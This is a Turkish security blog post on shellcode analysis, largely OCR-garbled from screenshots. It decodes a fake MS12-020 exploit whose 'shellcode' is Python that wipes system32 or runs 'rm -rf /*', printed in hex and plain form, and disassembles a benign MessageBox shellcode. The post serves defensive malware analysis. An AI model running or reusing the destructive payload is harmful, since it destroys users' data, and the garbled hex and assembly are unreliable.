KabukKod Analizi

written by Mert SARICA | 1 May 2013
Kabukkod (shellcode), tespit edilen guvenlik zafiyetinin istismar edilmesi

ile hedef isletim sistemi lzerinde komut satiri erisimi vermeye yarayan bir
kod parcasidir (instructions) bu nedenle istismar kodunun belki de en o6nemli
parcasidir. Penetrasyon testlerinden, APT (advanced persistent threat)
saldirilarina, arka kapilardan, Watering Hole saldirilarina (popller
sitelerin hacklenerek ziyaretcilerinin zararli yazilaim iceren baska sitelere
yonlendirilmesi) kadar bircok alanda sikca kullanilan istismar kitleri
dolayisiyla kabukkodlarinin analizi de her gecen gun glivenlik uzmanlari ve

kurumlar icin o6nem kazanmaktadir.

0zellikle penetrasyon testlerinde Metasploit, Core Impact, Canvas ve benzeri
istismar araclarinda yer alan ve kabukkod iceren istismar kodlari
kullanilmadigi sirece Packetstorm, Exploit-DB, 1337day vb. istismar kodu
yayinlayan sitelerden indirilen istismar kodlarinin dolayisiyla
kabukkodlarinin test edilmeden, kontrol edilmeden herhangi bir penetrasyon
testin de kullanilmasi hem testi gerceklestiren hem de kurumlar/misteriler
icin oldukca risklidir. Bunun nedeni ise art niyetli kisilerin kimi zaman
sahte istismar kodu altinda, sisteme zarar veren kabukkodu iceren istismar
kodlarini cesitli internet sitelerinde yayinlamalarindan kaynaklanmaktadir.

13 Mart 2012 tarihinde Microsoft tarafindan yayinlanan bir bildiride
(MS12-020), RDP uzerinde uzaktan komut calistirmaya imkan taniyan kritik bir
givenlik zafiyeti tespit edildigi belirtilmistir. Bu bildirinin
yayinlanmasindan kisa bir sire sonra ise hem sosyal medyada hem de cesitli
internet sitelerinde, bu zafiyeti istismar ederek uzaktan komut calistirmaya

imkan taniyan istismar kodlarina verilmistir.


https://www.mertsarica.com/kabukkod-analizi/
http://www.packetstormsecurity.org/
http://www.exploit-db.com/
http://1337day.com/
http://technet.microsoft.com/en-us/security/bulletin/ms12-020
http://technet.microsoft.com/en-us/security/bulletin/ms12-020
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Search results for: ms12-020 Public Pastes
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= Untitled
[Python] M$12-020 PoC - Pastebin.com e
Mar 13, 2012 ... usr/bin/env python. Untitied
R M$12:020 Exploit by ... @ oo
pastebin.com/fFWkezQH :
§ Untitled
= 8secago
[Python] # # # ms12-020 "chinese shit" PoC v2 (wireshark version ... @ Untitied
Mar 15, 2012 ... ms12-020 "chinese shit" PoC v2 {wireshark version). #. # tested on winsp3 G i
spanish, reported to work on Win7, win 2008. # # original source: ... Untitlzd
pastebin_com/jzQxvnpj ' 1lsecago
y Just Really?
¥ 11 secago

usr/bin/env python # rdpsmash py # M812-020 RDF exploit, remote ...

Mar 17, 2012 ... usr/bin/env python. # rdpsmash_py. # M512-020 RDP exploit. remote code
execution. # Confirmed working on all pre-patch boxes, XP to 7. # ...

pastebin com/GM4sHjIt

#ms12-020 fuckery - Pastebin.com

#ms12-020 2012-03-15 10:04:10 -0400 lifeasageek kd> r eax=b02ba00s ebx= 00000000
ecx=00000002 edx=0000091d esi=b02bab04 edi=00000002 ...
pastebin.com/SbHzzGAF

ms12-020 metasploit dos module - Pastebin.com

Mar 18, 2012 ... class Metasploit3 < Msf-Auxiliary include Msf-Exploit--Remote:-Tep include
Msf:: Auxiliary--Dos def initialize(info = {}} super{update_info(info, ...

pastebin.com/5aGxEThw

## ms12-020 "chinese shit" PoC # # tested on winsp3 spanish, from ...

Mar 15, 2012 ... Copied. # # ms12-020 "chinese shit" PoC. # # tested on winsp3 spanish,
from localhost. # #. import socket. import sys. buf="" ...

pastebin.com/UzDKcCQy

[Python] #l/usribin/env python # # ms12-020 PoC attempt # # based ...

Mar 16, 2012 ... Copied. #/usr/binfenv python. #. # ms12-020 PoC attempt. # # based on
jduck PoC. # import sys. import socket. from struct import pack.unpack ...
pastebin.com/4Fna¥yMz
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trigger = "\XSBAKBE\KBAKAT \XEE\XTA\XIB\XSE X7 \Xd \XT\XTI\XBF KBNS\ KA1
trigger +- "\XEEMKTO\KEE\KET WA IS I\HAE\NT1 7B \NIBNXII\ X5\ K62 \KGIVKSBANES"
XA KT0 W 2B
trigger += "\xBbAKIB\XEANKED \xd VT SANEBAIBANSE\XEbAXAF\ X\ xTE G I B\

trigger +- " T\KGANEIXES \KE 2 A F\XEORS NI

trigger += "x7INKAE\XAS\X32 VA BRxBFNNT L\ XBa \xdd\x3A\XAB\XTT\XT 2\ IxES\XT3

trigger +- "\XSaMK7\KTZ\XES \XEFIXSBANSENXS2 X8 \xd e \X IS\ XTE\ B9 \ b NS\ K
Erigger +- "\KBAAKI2\XTT\XE9\KEF\CSINKIBAXSEANS T\ I\XE3\XAL\X I\ T QSN
Erigger +- "\KSIAKI\XTH\XS0\KSIVEINEINNTEANST VX INXEF\XER\XTO\ I\
Trigger +- "\K7ENKZI\KIZ\K7E K3 SVTINKT B\NIEANST KA B \KIT\KBINKT L\ AN KAS K

trigger += "WGBNKEC\XEHXAT NG VT4 \IGENXSE \KET W4 IAXBT X7 INXET V3 INR4B\X
trigger += "L@aWSENXTEXEE XS 1\XTENG5 X5 \KEF XS BAXSE\XS2\ 4 \ x4 d\ X7\ xde "

Trigger +- “\XATAKEE\XAE\XTa VXA VSEAXST \XED XTI E VX 36\ XA\ NGBV
trigger += "7 IMES\EEKAI 7 VT TGO \XET X536 \X7 1\XET\XB1\xd7 \KEL b\ xE2"
ENGEEEATI NG FXER \NTE\XSS W5\ 1T\ T L\ B 2B\ NS L
trigger +- "WX7BAKS2\XAZ\KTO\KE AV AT I\NAE XI5\ 2\K 43\ X\ KT\ KA 27O\

trigger += "

trigger += "xBINKTa\XEC\XAD\XITVAB\XBT\XE \xda xS T\ XA F AT\ dNx32\X37 "

triseer += "dl" * 39 -

Ornedin Pastebin’de yer alan bu istismar kodu her ne kadar shellcode adinda
bir degiskene sahip olsa da aslinda gercek anlamda bir kabukkod
icermemektedir.


http://pastebin.com/GM4sHj9t

shellcode =
"\X5F\X5F\x69\x6d\x70\x6 T\ x72\Xx74\Xx5F\Xx5F\x28\x27\x6 F\x73\x27\x29\x2e\x73\x79
\x73"

shellcode +=
"\X74\x65\x6d\x28\x27\x64\x65\x6Cc\x20\x2F\x73\x20\x2F\x71\x20\x2f\x66\x20\x43
\x3a"

shellcode +=
"\X5Cc\X77\x69\x6e\x64\ X6 T\X77\X73\X5Cc\X73\x79\x73\x74\x65\x6d\x33\x32\x5¢c\x2a
\x20"

shellcode +=
"\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69
\x6e"

shellcode +=
"\Xx27\x20\x69\x6e\x20\x5F\x5F\x69\Xx6d\Xx70\X6F\Xx72\x74\x5F\x5F\x28\x27\x70\x6¢C
\x61"

shellcode +=
"\X74\x66\x6T\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6C
\x73"

shellcode +=
"\Xx65\x20\x5F\x5F\x69\x6d\x70\X6F\x72\x74\Xx5F\x5F\x28\x27\x6f\x73\x27\x29\x2e
\x73"

shellcode +=
"\X79\Xx73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20
\x2f"

shellcode +=
"\x64\x65\x76\x2T\x6e\x75\x6c\x6Cc\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69
\x20"

shellcode +=
"\X74\x68\x65\x72\x65\x20\x5e\x5F\x7e\x20\x66\x65\x65\x6Cc\x20\x66\x72\x65\x65
\x20"

shellcode +=
"\X74\X6T\X20\X73\X70\X72\X65\ X6 1\ x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68
\x20"

shellcode +=
"\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6Cc\x61\x63\x65\x64
\x20"

shellcode +=
"\X77\x69\x74\x68\x20\x73\x6F\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65
\x20"



shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Yukarida yer alan shellcode degiskenini (kabukkod) asagidaki gibi en sade
hale getirip,

5f5f696d706172745f512827617327292e73797374656d282764656c20217320217120266204
33a5c¢77696e646f77735
€73797374656d33325c2a203e204e554c20323e26312729206966202757696e2720696e205f5f
696d706172745f5f2827
706¢c61746661726d27292e73797374656d282920656¢c7365205f5f696d706F72745f528276F7
327292e73797374656d2
827726d202d7266202122203e202f6465762f6e756c6c20323€26312729202368692074686572
65205e5f7e€206665656¢
206672656520746120737072656164207468697320776974682074686520726d202d726620726
5706c616365642077697

4682073616d657468696e67206d61726520696€73696469617573

HEX degerlerini ASCII degerlerine c¢evirdigimizde,

Snha feiete <|_¥) @ B W T NS TR T W TN Y Tl W e el
€ & C fi [ wwwasiitohexcom M@ =

ASCII to Hex

...and other free text conversion tools

Text (ASCII / ANSI)

_import_('os').system(*del /s /q /f
Chwindows\system32\* > NUL 2>&1') if 'Win' in
_import_("platfarm’).system() else
_import__('os').system('rm -rf /* > /dev/null 2>&1')
#hi there #_~ feel free to spread this with the rm -rf
replaced with something more insidious

Copy to Clipboard

BASE64

X19pbXBvenRiXygnb3MnKS5zeXNOZWOo)2RIbCAY =

CyAVCSAVZIBDOIX3aWSkb3dzXHN5C3RIbTMyXCog
PIBOVUwgMj4mMScpIGImICdXaWanIGlulFofaw1

whb3J0X180)3BsYXRmb3|tlykuc3lzdGVtKCkgZWxzZS 1

Bfx2lcGaydFIfKCdveycpLnNSc3RIbSgnemOgLX)mI
C8qID4gL2RIdi9udWxsIDI+jEnKSAjaGkgdGhlcmUg

XI9+1GZIZViwgZn)|ZSBObyBzcH|YWQgdGhpeyB3aX

RolHRoZSBybSAtcmYgemywbGFiZWQgd210aCBzh

Copy to Clipboard

URL Encoded

_import_%28%2705%27%29.5ystem%28%27del+

%2Fs+%2Fq+%2FF+C%3A%5 Cwindows¥%5Csystem

32%5C%2A+%3E+NUL+2%3E%261%27%29+if+%2 |

TWin%27+in+_import__%28%27platform%27%29.
system%28%29-+else+_import__%28%2705%27%
30 et a0 VO T Tt

__import_ ('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if

Decimal

9595105109 112111 11411695954039 111 =
115394146 115121115116 101 109 40 39 100 |=

101108 3247 11532 47 1133247 102 32 67 58
92119105110100 11111911592 115121 115
116 101 109 51 5092 42 32 62 32 78 8576 32 50
623849394132105102323987 1051103932

105110329595 105109112111 1141169595  _

4039112108 97 116102 111 114 109 3941 46

Copy to Clipboard

HTML Entities

_import_('0s").system('del /s /q
Cwindowshsystem32\* &gt: NUL 2&gt:&amp;1') if
"Win' in _import_('platform').system() else
_import_('0s').system({'rm -rf /* &gt; /dev/null
28gt:&amp;1") #hi there »_~ feel free to spread this

sdth tha con ofennlnrad sith sammathine snss

Binary

01011111 01011111 01101001 01101101
01110000 01101111 0111001001110100
01011111 01011111 00101000 00100111
01101111 01110011 00100111 00101001
0010111001110011 01111001 01110011
01110100 01100101 01101101 00101000
00100111 01100100 01100101 01101100
00100000 00101111 01110011 00100000

Copy to Clipboard

ROT13

_vzcbeg ('bf).fifgrz("qry /f 7d /s PAjvagbjffifgrz32ve
> AHY 2>&1°) vs Jva’ va

_vzcbeg (‘cyngsbez')fifgrz() ryfr

\_vzcbeg ('bF).fifgrz{’ez -es /* > /grifahyy 2>&1')
#uv gurer *_~ srry serr gh fcernq guvf jugu gur ez -es
ercynprq jvgu fozrguvat zber vafvqvbhf

Copy to Clipboard

‘Win' in  import ('platform').system()

else

Hexadecimal

5f5f696d706727455f28276f7327292e737973746 *
56d282764656c202f73202f71202662043325¢776
96e64677735¢73797374656d33325¢2a203e204e |~
554c20323e26312729206966202757696e272069
6e2055f696d706f727455f282770606 174666726
d27292e737973746564282920656¢736520575f69
6d706727455f2827617327292e73797374656d28 _
27726d202d7266202f2a203e202f64657626e 756

Copy to Clipboard




__import  ('os').system('rm -rf /* > /dev/null 2>&1"')
#hi there ~ ~ feel free to spread this with the rm -rf replaced with

something more insidious

yukarida yer alan bu kodun calistirildigi isletim sisteminin Windows olmasi
durumunda system32 klasorini sildigini, Windows disindaki isletim sisteminde
calistirilmasi durumunda ise kok dizin (/) altinda yer alan tum dizinleri
sildigini, kisacasi kabukkod adi altinda sisteme zarar vermek amaciyla
gelistirilmis Python kodu iceren sahte bir istismar kodu oldugunu

gOrebiliyoruz.

Peki ya gercek anlamda OPCODElar’dan olusan bir kabukkod nasil analiz edilir
?

Ornegin elimizde bir istismar kodundan veya bir zararli yazilimdan temin
ettigimiz asagidaki gibi bir kabukkodu (Ingilizce Windows XP SP3’de
calismaktadir) oldugunu disiinelim. Bunu analiz edebilmek icin oncelikle
disassemble etmemiz gerekmektedir.

31c031db31c931d251686c6c20206833322e64687573657289e1bb7b1d807c51ffd3b95e6730e
f81cl111111111516861676542684d65737389e€15150bb40ae807cffd389e131d252515152ffd0O
31c050b812ch817cffdO

Bunun icin cevrimici (online) ve cevrimdisi (offline) olmak lzere 2 yol
izleyebiliriz.

Cevrimici analiz ic¢in Malware Tracker gibi kabukkod analizi yapan ve bize
assembly kodunu g6steren bir siteden faydalanabiliriz.


https://en.wikipedia.org/wiki/Opcode
http://www.shell-storm.org/shellcode/files/shellcode-691.php
http://www.malwaretracker.com/shellcode.php

/ 4 | malwaretracker.com: Shel x L W

-

C A [ wwwmalwaretracker.com/shellcode.php

Unpack and analyze shellcode.

Paste hex

of shellcode.

|31c031db31c931d4251686c6c20206833322e64687573657289e1bbTb1d807c51££d3bI5e6730a£81c1
11111111516861676542684d6573738%9e15150bb40ae807cffd389e131d252515152fFfd031c050b812

cb817cffd0

Dissemble Shellcode Win32

Result:

Key:

00000000 31CO
00000002 31DB
00000004 31C9
0000000

g

0000001F
00000020
BO9SE6T30EF
51
6861676542
684D657373
89E1

51

S0
EB40AEE0TC

FFD3

0000004B FFDO
00000040 31CO
0000004F 50
00000050 B812CBE1TC
00000055 FFDO

Cevrimdisi analiz icin ise kendimizi yormak
araci ile herhangi bir programi (6rnek calc

=] (Bxcate)

iiEntry Point: _.

h ecx
dword
dword
h dword
ecx, esp

ebx, Or7

ecx

push
call ebx ;

mov ecx,Oxe

push ecx
push dword
push dword
mov ecx,esp
push ecx
push
mov ebx, 07
call ebx ;

mov ecx,esp

2ax

Hor
push edx
push
push
push
call

ecx
ecx
edx
=ax

XOor eax,eax ;

push eax

mov cax, 0x7
call eax ;

istemiyor
.exe) acip

eax,eax ;
ebx,ebx ;
SCH, eCX
edx,edx ;

edx,edx ;

clearing variable
clearing variable
clearing wvariable
clearing variable

0x20206cec
0x72657375
c801d7b
call

£30675e

Ox42656761
0x7373654d

c80ae40
call

clearing variable

call
clearing variable

c8lcbl2

call

sak (Immunity Debugger
, 1lk 500 baytini

kabukkodu ile degistirip analiz etmek), shellcode2exe araci ile elimizdeki

kabukkodunu (sc.bin) yurutilebilir programa (executable) cevirip (sc.exe)

ardindan Immunity Debugger araci ile analiz edebiliriz.

(Immunity Debugger

ile kabukkoda gelene kadar F8 (Step Over) ile ilerleyip ardindan CTRL-A

tuslarina (Analysis Code) basacak olursak kodun analiz icin daha da okunakli

bir hale donltstigini g6rebiliriz.)


http://zeltser.com/reverse-malware/shellcode2exe.py.txt
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C:xDocuments and Settings“Administrator-DesktoprshellcodeZexe.py sc.bin sc.exe
Shellcode to executabhle converter .
by Mario Uilas (muilas at gmail dot com)
Reading raw shellcode from file sc.hin
sl Generating executahle file
¥ Mriting file sc.exe
Done .
x| a
j FFFSEt: &7 [0x00000057] C:\Documents and Settings“Administrator~Desktop> ﬂ%
88T Signad Byts [arget | Count [
EHT Unsigned Byte
15BIT Signed Short
15T Unsigned Short
3207 Signed Long
32HT Unsigned Long
E4EIT Signed GQuad
E4EIT Unsigned Quad
32BITFloat
S4BT Double
SYETDATE
15HT DOS Date
18ET DOS Time
SMHTFILETIME

32817 time_t
mmunity Debugger - sc.exe - [CPU - main thread, module sc]

File ‘iews Debug Plugins  Immlb  Options  window  Help  Jobs
OB EE Maxp N ¥ |l emtwhcPkbzr.s
BiE4E 1 5 ZICH A

Backup
Copy
Binary
Azsemble
Label
Camment
Add Header
Madify Yariable
Breakpaint
Hit trace
Run trace

Go ko
Fallow in Dump
Wigw call tree ChrlHk

Search For
Find references ta
Wiew

Zopy bo executable

Analy

Remove analysis From module

Scan object Files Chrl+O
Remove object scan from module

e s e e T

Bookmark

Assurne arguments
Remove analysis From selection Bkapr
During next analysis, treat selection as



FFFFFFFF]
FFFFFFFF]
FFFFFFFF]

Messagel

MessageBoxa

ir sonraki yazida gorismek dilegiyle herkese giivenli ginler dilerim.



